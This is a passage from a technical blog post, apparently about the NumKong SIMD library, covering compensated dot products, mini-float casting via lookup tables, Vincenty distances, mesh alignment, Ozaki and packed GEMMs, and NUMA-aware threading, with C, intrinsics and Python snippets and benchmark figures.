*sum, nk_f64_t *comp, nk_f64_t a, nk_f64_t b) { nk_f64_t product = a * b; nk_f64_t product_error = fma(a, b, -product); // TwoProd: exact multiply residual nk_f64_t new_sum = *sum + product; nk_f64_t recovered = new_sum - *sum; // TwoSum: exact addition residual nk_f64_t sum_error = (*sum - (new_sum - recovered)) + (product - recovered); *sum = new_sum; *comp += sum_error + product_error; } The SIMD main loop is identical — TwoProd+TwoSum across all lanes in parallel, nothing surprising. The hard part is the horizontal reduction: you hold two vector registers of partial results and need to fold them into one scalar without losing precision.\nOn NEON with its fixed 2 Float64 lanes, this is trivial — parallel TwoSum on both lanes, extract with vgetq_lane_f64, one scalar TwoSum to finish. On SVE and RVV, vector lengths are unknown at compile time. The solution is a log₂(VL) tree: at each level, extract the upper half via svtbl or vslidedown, TwoSum it with the lower half, propagate the rounding error downward. Out-of-range indices return zero on both ISAs, so the shrinking upper half is harmless.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 svfloat64_t merged = svadd_f64_x(pg, partial_sum, compensation); svfloat64_t addend = svsub_f64_x(pg, merged, partial_sum); svfloat64_t error = svadd_f64_x(pg, svsub_f64_x(pg, partial_sum, svsub_f64_x(pg, merged, addend)), svsub_f64_x(pg, compensation, addend)); for (unsigned half = svcntd() / 2; half \u0026gt; 0; half \u0026gt;\u0026gt;= 1) { svuint64_t upper_idx = svadd_n_u64_x(pg, svindex_u64(0, 1), half); svfloat64_t upper_merged = svtbl_f64(merged, upper_idx); svfloat64_t upper_error = svtbl_f64(error, upper_idx); svfloat64_t halved = svadd_f64_x(pg, merged, upper_merged); svfloat64_t halved_addend = svsub_f64_x(pg, halved, merged); svfloat64_t rounding_error = svadd_f64_x(pg, svsub_f64_x(pg, merged, svsub_f64_x(pg, halved, halved_addend)), svsub_f64_x(pg, upper_merged, halved_addend)); merged = halved; error = svadd_f64_x(pg, svadd_f64_x(pg, error, upper_error), rounding_error); } return svlastb_f64(first_lane, merged) + svlastb_f64(first_lane, error); Casting via Tabular Lookups on x86 and Arm Scope: nk_cast and pretty much every other kernel.\nWhen your numeric type has few enough distinct unsigned magnitudes, a single table lookup replaces all the bit-shifting arithmetic of a traditional float conversion. The question is where the cutoff falls — and it differs on x86 vs Arm because their LUT instructions have different capacities. x86 AVX-512BW has VPERMUTEXVAR_EPI16: 32 entries of 16-bit values in one ZMM register, chainable via VPERMI2W for larger tables. Arm NEON has VQTBL2Q: 32 entries of 8-bit values across two registers, with out-of-range indices returning zero — useful for clamping, but impractical to chain for 128+ entries.\nConversion Magnitudes x86 AVX-512 Arm NEON e2m3 → bf16 32 1× permutexvar — full LUT 1× vqtbl2q — full LUT e3m2 → bf16 32 1× permutexvar — full LUT 1× vqtbl2q — full LUT e5m2 → bf16 128 arithmetic + 4-entry subnormal LUT arithmetic only e4m3 → bf16 128 arithmetic + 8-entry subnormal LUT arithmetic only The cleanest path is E2M3: every possible 5-bit magnitude fits in one register, subnormals included. Mask the magnitude, look it up, shift the sign bit into position, OR them together — four operations, no branching, no blending.\n1 2 3 4 5 // E2M3 → BF16 on x86: full 32-entry LUT, one permutexvar __m512i magnitude = _mm512_and_si512(widened, _mm512_set1_epi16(0x1F)); __m512i sign = _mm512_and_si512(widened, _mm512_set1_epi16(0x20)); __m512i result = _mm512_permutexvar_epi16(magnitude, lut_bf16x32); result = _mm512_or_si512(result, _mm512_slli_epi16(sign, 10)); // sign bit 5 → bit 15 E4M3 and E5M2 have 128 unsigned magnitudes — too many for one LUT. Normals get arithmetic conversion via shift-and-add, while the handful of subnormals still go through a small lookup table. On Arm, where chaining VQTBL2Q is expensive, even subnormals use arithmetic — shifts, adds, and blends.\nLUT-free arithmetic upcasts via Giesel-style float-multiplication tricks are being explored but depend on rounding-mode control that conflicts with NumKong\u0026rsquo;s default denormal-to-zero policy.\nUse BFloat16 or Float16 for Float8 Arithmetic? Scope: nk_dot_(e4m3|e5m2)_(genoa|neonfhm).\nNo CPU has a native Float8 dot product yet, so you must upcast to something that does. The two candidates are BFloat16 and Float16 — both lossless for E4M3 normals, since 3 mantissa bits fit comfortably in either 7 or 10. NumKong uses BFloat16 on x86 and Float16 on Arm, for different reasons on each side.\nOn x86, VDPBF16PS fuses two BFloat16 multiplies per 32-bit lane — doubling throughput compared to a single-multiply instruction. The upcast from E4M3 goes through the LUT+arithmetic path from the previous section.\n1 2 3 a_bf16x32 = nk_e4m3x32_to_bf16x32_icelake_(a_e4m3x32); b_bf16x32 = nk_e4m3x32_to_bf16x32_icelake_(b_e4m3x32); sum_f32x16 = _mm512_dpbf16_ps(sum_f32x16, a_bf16x32, b_bf16x32); On Arm, there is no BFloat16 dot product instruction, but FMLAL from the FHM extension provides a widening f16 × f16 → f32 FMA that fires at 2-4 per cycle on modern cores. And the upcast is cheaper: E4M3\u0026rsquo;s 4-bit exponent maps into Float16\u0026rsquo;s 5-bit exponent with a single shift, so the conversion is pure arithmetic — no LUT needed.\n1 2 3 4 5 6 nk_e4m3x16_to_f16x8x2_neon_(vld1q_u8(a), \u0026amp;a_low, \u0026amp;a_high); // shifts + adds, no LUT nk_e4m3x16_to_f16x8x2_neon_(vld1q_u8(b), \u0026amp;b_low, \u0026amp;b_high); sum_f32x4 = vfmlalq_low_f16(sum_f32x4, a_low, b_low); // c[0:4] += a[0:4] × b[0:4] sum_f32x4 = vfmlalq_high_f16(sum_f32x4, a_low, b_low); // c[0:4] += a[4:8] × b[4:8] sum_f32x4 = vfmlalq_low_f16(sum_f32x4, a_high, b_high); // c[0:4] += a[8:12] × b[8:12] sum_f32x4 = vfmlalq_high_f16(sum_f32x4, a_high, b_high); // c[0:4] += a[12:16] × b[12:16] Use Int16 and Int8 for Float6 Arithmetic? Scope: nk_dot_(e2m3|e3m2)_(haswell|alder|sierra|icelake|neonsdot).\nEvery E2M3 value multiplied by 16 is an exact integer in [-120, +120], fitting a signed i8. Why 16? E2M3 has bias=1 and 3 mantissa bits, so the smallest nonzero subnormal is 1/8 — multiplying by 16 clears the denominator for every representable value. This means we can replace floating-point dot products with integer ones and divide by 16×16=256 at the very end — zero rounding error.\nA 32-entry LUT maps each 5-bit unsigned magnitude to its scaled integer. On Arm, VQTBL2Q does the lookup; on x86, VPERMB does the same across a full ZMM register. Then we XOR the sign bits of a and b, negate b where they differ, and feed the result into an integer dot product. On Arm, that is VQTBL2Q + SDOT:\n1 2 3 4 uint8x16_t a_mag = vqtbl2q_u8(lut_pair, vandq_u8(a, mask_0x1F)); uint8x16_t b_mag = vqtbl2q_u8(lut_pair, vandq_u8(b, mask_0x1F)); int8x16_t b_signed = vbslq_s8(negate_mask, vnegq_s8(b_mag), b_mag); sum_i32x4 = vdotq_s32(sum_i32x4, a_mag, b_signed); // c[0:4] += a[k:k+4] · b[k:k+4] On x86, VPERMB + VPDPBUSD process 64 elements per iteration:\n1 2 3 4 __m512i a_unsigned = _mm512_permutexvar_epi8(a_magnitude, lut_u8x64); __m512i b_unsigned = _mm512_permutexvar_epi8(b_magnitude, lut_u8x64); __m512i b_signed = _mm512_mask_sub_epi8(b_unsigned, negate_mask, zeros, b_unsigned); sum_i32x16 = _mm512_dpbusd_epi32(sum_i32x16, a_unsigned, b_signed); Both paths end with one division: (float)reduce_add(sum) / 256.0f — exact, because both operands were scaled by 16 and the integer arithmetic lost nothing.\nE3M2 is the trickier sibling — its magnitudes reach 448, blowing past i8 range. So it uses the i16 path instead: same LUT lookup for the low byte via vqtbl2q_u8, a comparison vcgeq_u8(idx, 28) to generate the high byte, then vzip to assemble 16-bit values. vmlal_s16 accumulates the wider products into i32 — same zero-error principle, just one lane-width up.\nComplex Dot Products: Deinterleave vs FCMLA Scope: nk_(dot|vdot)_f32c_neon.\nARMv8.3 introduced FCMLA — a dedicated complex multiply-accumulate that processes interleaved real/imaginary pairs with a single instruction per rotation. Two vcmlaq calls with rot0 and rot90 should, in theory, replace four separate FMAs.\nThe alternative is to deinterleave first: vld2 splits interleaved complex pairs into separate real and imaginary registers, then four independent vfmaq instructions compute real += aᵣ×bᵣ, real -= aᵢ×bᵢ, imag += aᵣ×bᵢ, imag += aᵢ×bᵣ. On Apple M4 at n=4096, the deinterleaved path hits 39.7 GiB/s; FCMLA manages 17.1 GiB/s — 2.3x slower.\nThe reason is instruction-level parallelism. M4 has four SIMD pipes, and four independent vfmaq calls saturate all of them. FCMLA\u0026rsquo;s rot0 and rot90 variants have a data dependency — rot90 reads the result of rot0 — so the M4 cannot overlap them. Two dependent instructions on a 4-wide backend leave half the pipes idle.\nNumKong\u0026rsquo;s complex kernels also upcast Float32 inputs into Float64 accumulators for better precision, and the four-pipe parallelism more than compensates for the doubled lane width. FCMLA offers neither the throughput nor the precision advantage on this microarchitecture.\nBroader lesson: specialized instructions are designed for specific pipeline widths. On cores with fewer SIMD pipes, FCMLA may well win. Measure on your target hardware.\nFast Reductions for Strided Arrays Scope: nk_reduce_*.\nNumKong requires contiguous inputs for binary operations like dot products, but reductions on strided arrays still get SIMD. The use case: aggregating columns of a tall row-major matrix, or reducing a member field across an array-of-structures layout.\nThe key idea on AVX-512: instead of expensive gather instructions, do a contiguous load and mask out the bytes you don\u0026rsquo;t want. A precomputed 64-bit K-register mask selects every n-th byte. For stride=2, the mask is 0x5555555555555555 — every other byte, 32 elements per load. For stride=3, it is 0x9249249249249249 — 22 elements. All the way down to stride=16 with 4 elements, below which we fall back to scalar.\n1 2 3 4 5 6 __mmask64 stride_mask = nk_stride_mask_u1x64_(stride); nk_size_t step = _mm_popcnt_u64(stride_mask) * stride; for (; idx + step \u0026lt;= total; idx += step) { __m512i data = _mm512_maskz_loadu_epi8(stride_mask, ptr + idx); // non-column bytes are zero — safe to feed into SAD, VNNI, etc. } On Arm, vld2q/vld3q/vld4q deinterleave 2/3/4-strided data directly into separate registers during the load — no masking needed, but limited to strides 2-4. The stride-3 case for XYZ point clouds is covered in detail in the mesh alignment section.\nOnce we have the strided data in registers, two families of reductions use it very differently.\nreduce_minmax finds extrema and their positions without upcasting mini-floats. IEEE 754 floats have an order-preserving property: for positive values, the integer representation sorts the same way as the float value. Negative values need their magnitude bits flipped. A single XOR transforms any Float8 or Float6 byte into an unsigned integer that compares correctly — vminq_u8/vmaxq_u8 on Arm, _mm512_min_epu8/_mm512_max_epu8 on x86 — no upcast to Float16 or Float32, no floating-point compare.\n1 2 3 4 5 // Float8 → order-preserving unsigned byte, one XOR per lane __mmask64 negative = _mm512_test_epi8_mask(raw, _mm512_set1_epi8(0x80)); __m512i xor_pos = _mm512_set1_epi8(0x80); // positive: flip sign bit __m512i xor_neg = _mm512_set1_epi8(0xFF); // negative: flip all bits __m512i comparable = _mm512_xor_si512(raw, _mm512_mask_mov_epi8(xor_pos, negative, xor_neg)); reduce_moments computes sum and sum-of-squares for L2 norms — critical in ML normalization layers. For Float32 inputs, the accumulation widens to Float64: _mm512_cvtps_pd upcasts 8 floats, then _mm512_fmadd_pd accumulates x² directly in double precision, avoiding the catastrophic cancellation that plagues single-precision norms on long vectors. For integer inputs, the approach is different — SAD computes the biased sum while VPDPWSSD accumulates the sum-of-squares in one fused instruction. But integer accumulators eventually overflow. For i8 and i16 inputs, NumKong uses a divide-and-conquer strategy: once the element count exceeds what a 64-bit accumulator can safely hold, the array is split in half, each half reduced recursively, and the two 64-bit results merged with a saturating add.\nThe i64 case is trickier — there is nothing wider to accumulate into, and pairwise saturating addition silently loses information. Consider {INT64_MAX, INT64_MAX, -INT64_MAX} — the true sum is INT64_MAX:\n1 2 3 4 int64_t inputs[] = {INT64_MAX, INT64_MAX, -INT64_MAX}; int64_t naive = inputs[0] + inputs[1] + inputs[2]; // UB: signed overflow on inputs[0]+inputs[1] int64_t pairwise = sadd(sadd(0, inputs[0]), inputs[1]); // MAX → sadd(MAX, -MAX) = 0 ← WRONG nk_reduce_moments_i64(d, 3, 8, \u0026amp;sum, \u0026amp;sumsq); // 128-bit: 0 → MAX → 2MAX → MAX ← CORRECT Early saturation erased the pending cancellation. NumKong emulates a 128-bit accumulator with sum_lower/sum_upper register pairs and manual carry propagation, clamping only once after the entire loop.\nVincenty with Masked Convergence Scope: nk_vincenty_f64_(skylake|genoa).\nHaversine gives you the great-circle distance — shortest path on a perfect sphere:\n$$ d = 2r \\arcsin\\sqrt{\\sin^2\\frac{\\Delta\\varphi}{2} + \\cos\\varphi_1\\cos\\varphi_2\\sin^2\\frac{\\Delta\\lambda}{2}} $$\nOne closed-form evaluation, no iteration, easy to vectorize. But Earth is not a sphere — it is an oblate spheroid, roughly 21 km wider at the equator than pole-to-pole. Vincenty\u0026rsquo;s formula accounts for this flattening by iteratively refining an auxiliary longitude λ until convergence:\n$$ \\sin^2\\sigma = (\\cos U_2\\sin\\lambda)^2 + (\\cos U_1\\sin U_2 - \\sin U_1\\cos U_2\\cos\\lambda)^2 $$\nwhere $U_1$, $U_2$ are reduced latitudes on the reference ellipsoid. The iteration converges in 3-8 steps for most point pairs, but degenerates for coincident points and near-antipodal cases — exactly the kind of variable-rate convergence that makes SIMD interesting.\nThe Haversine error from ignoring flattening is up to ~0.3%, which matters for surveying, aviation corridors, and high-precision geofencing. Vincenty is inherently ~10x more expensive per pair, so SIMD parallelism is the only way to keep it practical at scale.\nHaversine and Vincenty have vastly different error bounds and behavior at critical points (antipodal, coincident, equatorial). The numbers below compare throughput only — not accuracy.\nf32 → f32 throughput f64 → f64 throughput Rust numkong Haversine 487 M points/s 152 M points/s numkong Vincenty 69 M points/s 18 M points/s geo Haversine 39 M points/s 24 M points/s geo Vincenty — 1.2 M points/s Python numkong Haversine 475 M points/s 155 M points/s numkong Vincenty 55 M points/s 18 M points/s geopy Haversine — 0.18 M points/s geopy Vincenty — 0.01 M points/s NumKong\u0026rsquo;s Vincenty in f64 → f64 is 15x faster than Rust geo and 1'800x faster than Python geopy — because 8 point-pairs iterate simultaneously in AVX-512. But those 8 pairs converge at different rates, and this is where the implementation gets interesting.\nThe solution is a convergence mask: __mmask8 converged_mask tracks which lanes are done, and the loop exits when all 8 bits are set. The mask is not just an optimization — converged lanes may have near-zero denominators that would produce NaN if allowed to keep iterating.\n1 2 3 4 5 6 7 8 9 10 11 12 13 __mmask8 converged_mask = 0; __mmask8 coincident_mask = 0; for (nk_u32_t iter = 0; iter \u0026lt; MAX_ITER \u0026amp;\u0026amp; converged_mask != 0xFF; ++iter) { __m512d sin_lambda = nk_sin_f64x8_skylake_(lambda); // ... Vincenty iteration body ... coincident_mask = _mm512_cmp_pd_mask(sin_angular_dist, threshold, _CMP_LT_OS); sin_azimuth = _mm512_maskz_div_pd(_knot_mask8(coincident_mask), cos_u1_cos_u2_sin_lambda, sin_angular_dist); __mmask8 equatorial_mask = _mm512_cmp_pd_mask(cos_sq_alpha, eps, _CMP_LT_OS); quotient = _mm512_mask_div_pd(passthrough, _knot_mask8(equatorial_mask), two_sin_product, cos_sq_alpha); converged_mask |= _mm512_cmp_pd_mask(abs_delta, threshold, _CMP_LT_OS); } Two separate division-by-zero hazards need two different masked divide flavors. _mm512_maskz_div_pd zeroes the result for coincident points — two identical locations where sin of the angular distance vanishes. _mm512_mask_div_pd uses a passthrough value for equatorial cases where cos²α vanishes — the passthrough is chosen so the subsequent subtraction yields zero, keeping the iteration stable.\nThis pattern generalizes to any SIMD convergence loop — Newton-Raphson, iterative solvers, ray-sphere intersection. Track a mask of done lanes, guard every division with that mask, exit when full.\nMesh Alignment: Deinterleaving XYZ across ISAs Scope: nk_(rmsd|kabsch|umeyama)_(f32|f64)_(neon|haswell|skylake|rvv).\nRMSD measures how far apart two point clouds are on average — it\u0026rsquo;s the \u0026ldquo;are these similar?\u0026rdquo; check. Kabsch finds the optimal rotation to overlay one cloud onto another, minimizing that RMSD. Umeyama adds uniform scaling on top of Kabsch — useful when the two clouds differ in size, e.g. comparing a crystal structure to a docked ligand at different resolutions. All three operate on 3D point clouds stored as interleaved XYZ triplets — the standard Array-of-Structures layout. The first challenge in every kernel is getting the data out of AoS into separate X, Y, Z vectors for vectorized centroid and covariance computation. Every ISA does this differently, and the choice matters — deinterleaving is the inner loop\u0026rsquo;s first operation, so it sets the throughput ceiling.\nNEON has hardware stride-3 loads. vld3q_f32 reads 12 contiguous floats and returns three 4-wide vectors — X, Y, Z separated in one instruction:\n1 2 3 4 float32x4x3_t xyz_f32x4x3 = vld3q_f32(ptr); // 4 XYZ triplets → 3 vectors *x_f32x4_out = xyz_f32x4x3.val[0]; // x0, x1, x2, x3 *y_f32x4_out = xyz_f32x4x3.val[1]; // y0, y1, y2, y3 *z_f32x4_out = xyz_f32x4x3.val[2]; // z0, z1, z2, z3 Haswell lacks stride-3 loads, so we use _mm256_i32gather_ps with pre-computed stride-3 indices [0,3,6,9,12,15,18,21] — three gathers offset by 0, 1, 2 for X, Y, Z respectively.\nSkylake avoids gathers entirely with VPERMT2PS cross-register permutations. Load three 512-bit registers covering 48 floats (16 XYZ triplets), then six permutations separate X, Y, Z — 1.8x faster than scalar deinterleaving:\n1 2 3 4 5 6 7 8 9 10 11 __m512 reg0_f32x16 = _mm512_loadu_ps(ptr); // floats 0-15 __m512 reg1_f32x16 = _mm512_loadu_ps(ptr + 16); // floats 16-31 __m512 reg2_f32x16 = _mm512_loadu_ps(ptr + 32); // floats 32-47 // X: 6 from reg0, 5 from reg1, 5 from reg2 __m512i idx_x_01_i32x16 = _mm512_setr_epi32(0,3,6,9,12,15, 18,21,24,27,30, 0,0,0,0,0); __m512i idx_x_2_i32x16 = _mm512_setr_epi32(0,1,2,3,4,5,6,7,8,9,10, 17,20,23,26,29); __m512 x01_f32x16 = _mm512_permutex2var_ps(reg0_f32x16, idx_x_01_i32x16, reg1_f32x16); *x_f32x16_out = _mm512_permutex2var_ps(x01_f32x16, idx_x_2_i32x16, reg2_f32x16); *y_f32x16_out = ... ; // similar code for Y *z_f32x16_out = ... ; // similar code for Z RVV uses segmented loads — vlseg3e32 returns a vfloat32m1x3_t tuple, and vget extracts each coordinate. The vector length adapts dynamically via vsetvl, so the same code works on any RISC-V implementation:\n1 2 3 4 vfloat32m1x3_t a_f32m1x3 = __riscv_vlseg3e32_v_f32m1x3(a_ptr, vector_length); vfloat32m1_t a_x = __riscv_vget_v_f32m1x3_f32m1(a_f32m1x3, 0); // all x vfloat32m1_t a_y = __riscv_vget_v_f32m1x3_f32m1(a_f32m1x3, 1); // all y vfloat32m1_t a_z = __riscv_vget_v_f32m1x3_f32m1(a_f32m1x3, 2); // all z After deinterleaving, the pipeline is the same across all ISAs: compute centroids, build the 3×3 cross-covariance matrix via outer products, decompose it with a McAdams branching-free SVD using 16 fixed Jacobi iterations, and apply a reflection correction when det(R) = -1.\nKernel Apple M4 Intel Xeon4 RMSD in Float32 1'560 M points/s 970 M points/s Kabsch in Float32 485 M points/s 290 M points/s Umeyama in Float32 470 M points/s 285 M points/s This is one of the few workloads where Apple\u0026rsquo;s M-cores clearly outperform Xeon4 — NEON\u0026rsquo;s vld3q is a single-instruction stride-3 deinterleave, while Skylake needs six VPERMT2PS shuffles across three registers. Through Python bindings, NumKong\u0026rsquo;s Kabsch reaches 261 M points/s — roughly 19x SciPy\u0026rsquo;s Rotation.align_vectors at 14 M points/s, and 200x BioPython\u0026rsquo;s SVDSuperimposer at 1.3 M points/s.\nOzaki Matrix Multiplication Ozaki scheme decomposes a multiplication of wide floats into many multiplications of narrower floats, merging the results. On GPUs, the typical use is leveraging Float16 Tensor Cores for Float32 GEMMs. NumKong does something different — Float64 products via Float32 SME outer-product instructions on Apple M4.\nThe idea: split each Float64 value into three non-overlapping mantissa slices of 19+17+17 bits. Every slice fits within Float32\u0026rsquo;s 24-bit significand, so each pairwise product is exact in Float64 — the widest cross-product is 19+19 = 38 bits, well under 53.\n1 2 3 4 5 6 7 8 nk_fui64_t bits = {.f = value}; bits.u \u0026amp;= 0xFFFFFFFC00000000ULL; // mask to top 19 significant bits nk_f64_t high = bits.f; nk_f64_t remainder = value - high; bits.f = remainder; bits.u \u0026amp;= 0xFFFFFFF000000000ULL; // mask to next 17 significant bits nk_f64_t mid = bits.f; nk_f64_t low = remainder - mid; // remaining ≤17 bits All cross-products where the slice indices sum to ≤ 2 must be accumulated: $A_0 B_0$, $A_0 B_1 + A_1 B_0$, $A_0 B_2 + A_1 B_1 + A_2 B_0$ — six FMOPA instructions across three ZA tile accumulators. The tile schedule is carefully ordered to minimize write-after-write pipeline stalls: ZA3, ZA2, ZA1, ZA3, ZA2, ZA3 — nine cycles instead of fifteen with naive round-robin.\nKernel on Apple M4 at 4096³ Throughput Precision nk_dots_packed_f64_serial 1.8 gso/s 6 ULP nk_dots_packed_f64_neon 5.2 gso/s 0 ULP nk_dots_packed_f64_smef64 12.9 gso/s 0.9 ULP The Ozaki SME path is 2.5x faster than the Dot2 NEON path while achieving sub-1 mean ULP. The serial path at 6 ULP shows what happens without compensated accumulation.\nOzaki schemes originated in the work of Ozaki, Ogita, Oishi, and Rump on accurate matrix multiplication, building on earlier error-free summation techniques. The GPU community adopted them to squeeze Float32 accuracy out of Float16 Tensor Cores — NVIDIA\u0026rsquo;s cuBLAS uses a 2-way split for TF32. SME\u0026rsquo;s outer-product tile architecture makes the cross-product scheduling particularly natural — each FMOPA is a full rank-1 update, so interleaving slices across tiles maps directly to the hardware.\nPossible improvement directions for kernels: SIMD-accelerated PRNGs (#299), fused Attention kernels, trajectory matching for geospatial (#186), and a proper traditional GEMM API (#312).\nEvolution of GEMMs How Software Diverges The convergence table above shows that every vendor agrees on what to compute — but the implementations are so different that you cannot write one kernel and compile it for both Intel and Apple.\nAMX computes $C \\mathrel{{+}{=}} A_{tile} \\cdot B_{tile}^T$ — an inner product that consumes the entire K dimension inside a single instruction. SME computes $C \\mathrel{{+}{=}} a_{col} \\otimes b_{row}$ — a rank-1 outer product that streams through K one step at a time. Same goal, fundamentally different data flow:\nIntel AMX on Xeon4 Arm SME on Apple M4 Tiles 8 TMM registers, 1 KB each 4 ZA registers, up to 512 elements each Inputs i8, u8, bf16 u1, i8, u8, f16, bf16, f32, f64\u0026hellip; Operation Inner product: $C \\mathrel{{+}{=}} A \\cdot B^T$ Outer product: $C \\mathrel{{+}{=}} a \\otimes b$ BFloat16 ops 8'192 ops/instruction 512 ops/instruction Int8 ops 16'384 ops/instruction 1'024 ops/instruction Latency ~16 cy per TDPBF16PS ~16 cy amortized per FMOPA A layout Row-major Column-major B layout VNNI-like swizzling Column-major Boundary tiles LDTILECFG reconfigures dimensions svwhilelt predicates — same instruction Composability Isolated from AVX-512 — no mixing Streaming SVE available inside SME mode AMX is an isolated accelerator: you configure tiles, run tile multiplies, store results, then return to AVX-512 for everything else. SME shares register state with Streaming SVE — you can interleave outer products with predicated vector arithmetic, comparisons, and reductions without leaving streaming mode. That is what makes fused GEMM+epilogue kernels like maxsim_packed and bilinear cleaner on SME than on AMX.\nThe boundary handling difference is equally practical. On SME, svwhilelt generates a predicate for partial tiles — the same FMOPA fires with fewer active lanes, zero code duplication. On AMX, LDTILECFG can reconfigure tile dimensions mid-kernel, but NumKong avoids the overhead by pre-packing remainder rows into a separate row-major edge region processed via AVX-512.\nDespite all these differences, both AMX and SME provide extraordinary arithmetic density — thousands of multiply-accumulates per instruction, far more than any scalar or even SIMD vector path. That density is so high that it becomes worthwhile to reformulate other operations as matrix multiplications: cosine similarities become a GEMM plus a norm division, L2 distances become a GEMM plus pre-computed squared norms, retrieval scoring becomes a GEMM plus a running argmax. The cost of admission is packing your data into the hardware\u0026rsquo;s preferred layout; the payoff is accessing the fastest arithmetic the chip has.\nFrom Pre-Packing to Epilogues The classical BLAS contract hides this: you hand it two matrices, it repacks internally, every call. That made sense in 1979 when DGEMM was the only operation and the matrices changed between calls. But if packing is ISA-specific — VNNI interleaving, column-major tiling, edge regions, boundary predicates — and the data is queried millions of times, hiding it inside every call is wasteful.\nNumKong makes packing explicit, and fuses the \u0026ldquo;what do I actually want from this GEMM\u0026rdquo; into the kernel as an epilogue. dots_packed returns raw dot products. angulars_packed fuses norm division into the tile loop — cosine similarity without a second pass over the output matrix. euclideans_packed adds pre-computed squared-norm terms to convert dots into L2 distances. maxsim_packed tracks a running argmax inside the GEMM — for ColBERT-style late interaction scoring, the argmax never materializes the full score matrix. bilinear streams through metric matrix rows, computing $a \\times M \\times b$ for learned distance functions.\nThe packing itself does far more than reordering bytes. Since GEMM is $O(N^3)$ and packing is $O(N^2)$, even expensive transforms are asymptotically free — but what those transforms do matters:\nTransform What? Why? Upcast E4M3 → BF16, E2M3 → Scaled Int8 Amortize LUT upcasts across all query rows, not per GEMM call Pad Depth Zero-pad to SIMD width Inner loops load full vectors without boundary checks Save Norms Store $|b_j|^2$ alongside packed data To convert GEMMs into pairwise distances in $O(N)$ Tile Layout VNNI in AMX, columnar in SME Match the hardware\u0026rsquo;s expected data flow from the table above Break Strides Add gaps for power of 2 strides Avoid cache aliasing: stride-256 can be ~10x slower than stride-257 The last one deserves a moment. On a set-associative cache, consecutive rows at a power-of-2 stride all map to the same cache sets, effectively shrinking usable L1/L2 capacity to just the associativity. Adding a single element of padding — stride 257 instead of 256 — spreads rows across different sets and restores full cache utilization. It costs one wasted byte per row and saves an order of magnitude on large matrices.\nWhat the user sees is: pack once, query many, fuse your metric. And the payoff is real — on Intel Xeon4, UInt8 Euclidean distances:\nVector-vector: nk_euclidean_u8 — 40.8 gso/s Matrix-matrix: nk_euclideans_packed_u8 — 672 gso/s That is a 16x throughput increase from reformulating pairwise distances as a tiled GEMM with a fused epilogue — same input data, same output semantics, same hardware.\nDon\u0026rsquo;t Materialize What You Won\u0026rsquo;t Need ColBERT-style late-interaction scoring is a good example of a fused epilogue in action: for each query token, find the most similar document token, then sum those max similarities. Getting per-token embeddings from HuggingFace is straightforward:\n1 2 3 4 5 6 7 8 from transformers import AutoModel, AutoTokenizer tokenizer = AutoTokenizer.from_pretrained(\u0026#34;colbert-ir/colbertv2.0\u0026#34;) model = AutoModel.from_pretrained(\u0026#34;colbert-ir/colbertv2.0\u0026#34;) query = model(**tokenizer(\u0026#34;what is a dog?\u0026#34;, return_tensors=\u0026#34;pt\u0026#34;)).last_hidden_state[0].detach().numpy() doc = model(**tokenizer(\u0026#34;a dog is a pet\u0026#34;, return_tensors=\u0026#34;pt\u0026#34;)).last_hidden_state[0].detach().numpy() assert query.shape == (7, 768) # 7 tokens × 768-dim embeddings assert doc.shape == (7, 768) # 7 tokens × 768-dim embeddings The NumPy way materializes the full score matrix — for real workloads with thousands of tokens, that\u0026rsquo;s megabytes of temporary memory:\n1 2 3 4 5 6 7 import os os.environ[\u0026#34;OMP_NUM_THREADS\u0026#34;] = \u0026#34;1\u0026#34; # single-threaded for fair comparison import numpy as np scores = np.empty((query.shape[0], doc.shape[0]), dtype=np.float32) np.matmul(query, doc.T, out=scores) # full score matrix materialized result = scores.max(axis=1).sum() # reduce after the fact NumKong\u0026rsquo;s maxsim_packed never materializes that intermediate matrix — tiles flow from one register to another and are progressively reduced to a single scalar:\n1 2 3 4 import numkong as nk query_packed = nk.maxsim_pack(query.astype(nk.bfloat16)) doc_packed = nk.maxsim_pack(doc.astype(nk.bfloat16)) result = nk.maxsim_packed(query_packed, doc_packed) # no intermediate matrix At 2048³ on a single Xeon4 core, NumPy\u0026rsquo;s f32 → f32 path reaches 129 gso/s. NumKong\u0026rsquo;s BFloat16 path hits 428 gso/s — over 3x faster while using half the input memory for input, and 4x less memory overall. The same pattern applies to nk_bilinear — computing aᵀ × C × b without materializing the C × b intermediate vector.\nThe memory discipline doesn\u0026rsquo;t stop at kernels — it extends to the runtime itself.\nMemory Management \u0026amp; Parallelism Model No hidden allocations. No hidden threads. OpenBLAS allocates per-thread buffers via mmap behind every GEMM — leading to 14 lock/unlock pairs per small multiply, deadlocks after fork(), and silently wrong results from thread-unsafe allocation. NumKong never allocates — you own the buffer, you own the threads.\nBut \u0026ldquo;you own the threads\u0026rdquo; is harder than it sounds. Each thread must call nk_configure_thread before any kernel — it flushes denormals to zero on x86 to avoid 100x slowdowns on subnormal inputs, requests AMX tile permission from the Linux kernel via ARCH_REQ_XCOMP_PERM, and sets the rounding mode. Then there is the question of which threads to use. #pragma omp parallel for schedule(static) splits rows evenly — but Apple M4 has 4 performance cores and 6 efficiency cores running at different frequencies, so equal splits leave the fast cores idle waiting for the slow ones. Intel server chips have a different problem: 2-socket Xeon4 has multiple NUMA nodes with vastly different memory latencies — a thread on socket 1 reading matrix A from socket 0\u0026rsquo;s memory pays 2-3x the latency.\nThe efficient pattern for a large GEMM on a NUMA machine looks like this: each node gets a local copy of the small-ish packed B, works on the slice of A that lives in its local memory, and writes to the corresponding row block of C — also local. This is the problem ForkUnion is being built to solve — a work-in-progress NUMA-aware fork-join thread pool with core pinning and heterogeneous QoS awareness:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 fu::linux_colocated_pool_t first_socket, second_socket; first_socket.try_spawn(topology.nodes[0], cores_per_socket); // pin to socket 0 cores second_socket.try_spawn(topology.nodes[1], cores_per_socket); // pin to socket 1 cores auto init = [](auto) noexcept { nk_configure_thread(); }; // denormals, AMX, rounding first_socket.for_threads(init); second_socket.for_threads(init); nk_size_t half = query_rows / 2; first_socket.for_slices(half, [\u0026amp;](auto slice) noexcept { nk_dots_packed_bf16(queries + slice.first * depth, packed_b_first, columns, depth, results + slice.first * columns); }); second_socket.for_slices(query_rows - half, [\u0026amp;](auto slice) noexcept { nk_dots_packed_bf16(queries + (half + slice.first) * depth, packed_b_second, columns, depth, results + (half + slice.first) * columns); }); No mutexes, no dynamic allocation on the hot path, no CAS primitives. Each thread is pinned to a physical core, reads from NUMA-local memory, and writes to its own output rows.\nBlock-Scaling \u0026amp; Ideological Differences For all the things NumKong tries to achieve, there are lines it does not cross. MXFP4 and NVFP4 